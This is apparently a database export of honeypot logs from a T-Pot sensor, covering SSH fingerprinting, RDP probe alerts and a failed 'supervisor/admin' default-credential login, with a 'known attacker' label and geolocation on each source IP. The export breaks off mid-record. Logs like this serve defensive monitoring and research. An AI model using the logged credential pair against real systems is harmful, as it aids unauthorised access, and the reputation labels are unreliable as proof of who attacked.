28543	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:18:24.921029+03	2021-09-20 14:30:02.969523+03	{"_id": "UwbtAnwBvYTbRNuEti_5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 24670, "dest_port": 22, "timestamp": "2021-09-20T11:18:24.921029", "@timestamp": "2021-09-20T11:18:24.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28544	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:18:24.921588+03	2021-09-20 14:30:02.971523+03	{"_id": "VAbtAnwBvYTbRNuEty_d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "abe7c4e2d90b", "@version": "1", "timestamp": "2021-09-20T11:18:24.921588Z", "@timestamp": "2021-09-20T11:18:24.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28545	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:18:26.064651+03	2021-09-20 14:30:02.972524+03	{"_id": "VgbtAnwBvYTbRNuEuy_G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "086122a2e71c", "@version": "1", "duration": 2.333909034729004, "timestamp": "2021-09-20T11:18:26.064651Z", "@timestamp": "2021-09-20T11:18:26.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28546	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:18:40.420967+03	2021-09-20 14:30:02.973524+03	{"_id": "ZwbtAnwBvYTbRNuE9C87", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:18:40.084079+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1979784201521263, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54494, "dest_port": 3389, "timestamp": "2021-09-20T11:18:40.420967Z", "@timestamp": "2021-09-20T11:18:40.420Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28547	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:18:40.902175+03	2021-09-20 14:30:02.975523+03	{"_id": "aAbtAnwBvYTbRNuE9C87", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:18:40.084079+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1979784201521263, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54494, "dest_port": 3389, "timestamp": "2021-09-20T11:18:40.902175Z", "@timestamp": "2021-09-20T11:18:40.902Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28554	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:18:31.000646+03	2021-09-20 14:30:02.983524+03	{"_id": "XQbtAnwBvYTbRNuE2C_e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:29.581384+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1348688144883464, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 58446, "timestamp": "2021-09-20T11:18:31.000646Z", "@timestamp": "2021-09-20T11:18:31.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28548	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:18:40.420967+03	2021-09-20 14:30:02.976525+03	{"_id": "aQbtAnwBvYTbRNuE9C-H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:18:40.084079+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1979784201521263, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54494, "dest_port": 3389, "timestamp": "2021-09-20T11:18:40.420967Z", "@timestamp": "2021-09-20T11:18:40.420Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28549	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:18:43.006223+03	2021-09-20 14:30:02.977524+03	{"_id": "cwbtAnwBvYTbRNuE_i82", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "30c683008b13", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:18:43.006223Z", "@timestamp": "2021-09-20T11:18:43.006Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28550	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:18:43.686968+03	2021-09-20 14:30:02.978524+03	{"_id": "dgbtAnwBvYTbRNuE_i82", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.login.failed", "message": "login attempt [supervisor/admin] failed", "session": "30c683008b13", "@version": "1", "password": "admin", "username": "supervisor", "timestamp": "2021-09-20T11:18:43.686968Z", "@timestamp": "2021-09-20T11:18:43.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28551	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:18:44.809237+03	2021-09-20 14:30:02.979523+03	{"_id": "eAbuAnwBvYTbRNuEAi8f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "30c683008b13", "@version": "1", "duration": 1.803074598312378, "timestamp": "2021-09-20T11:18:44.809237Z", "@timestamp": "2021-09-20T11:18:44.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28552	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:18:48.890492+03	2021-09-20 14:30:02.980524+03	{"_id": "fwbuAnwBvYTbRNuEES_B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:38300 (192.168.176.2:22) [session: 1b06ab489e83]", "session": "1b06ab489e83", "@version": "1", "protocol": "ssh", "src_port": 38300, "dest_port": 22, "timestamp": "2021-09-20T11:18:48.890492Z", "@timestamp": "2021-09-20T11:18:48.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28553	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:18:48.893455+03	2021-09-20 14:30:02.982525+03	{"_id": "gQbuAnwBvYTbRNuEES_B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1b06ab489e83", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:18:48.893455Z", "@timestamp": "2021-09-20T11:18:48.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28555	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:18:30.097618+03	2021-09-20 14:30:02.985524+03	{"_id": "WwbtAnwBvYTbRNuEyy9o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "abe7c4e2d90b", "@version": "1", "duration": 5.43316125869751, "timestamp": "2021-09-20T11:18:30.097618Z", "@timestamp": "2021-09-20T11:18:30.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28556	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:19:12.977891+03	2021-09-20 14:30:02.987523+03	{"_id": "qwbuAnwBvYTbRNuEcS9J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:19:12.212537+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1876962686549561, "payload": "AAADzAYUXDVVYvJE/GnLeT7zmxz4/wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48334, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:19:12.977891Z", "@timestamp": "2021-09-20T11:19:12.977Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......\\\\5Ub.D.i.y>........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28557	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:12.59848+03	2021-09-20 14:30:02.988523+03	{"_id": "rAbuAnwBvYTbRNuEci-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48334, "timestamp": "2021-09-20T11:19:12.598480", "@timestamp": "2021-09-20T11:19:12.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28558	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:19:12.978496+03	2021-09-20 14:30:02.989523+03	{"_id": "sgbuAnwBvYTbRNuEcy9z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", 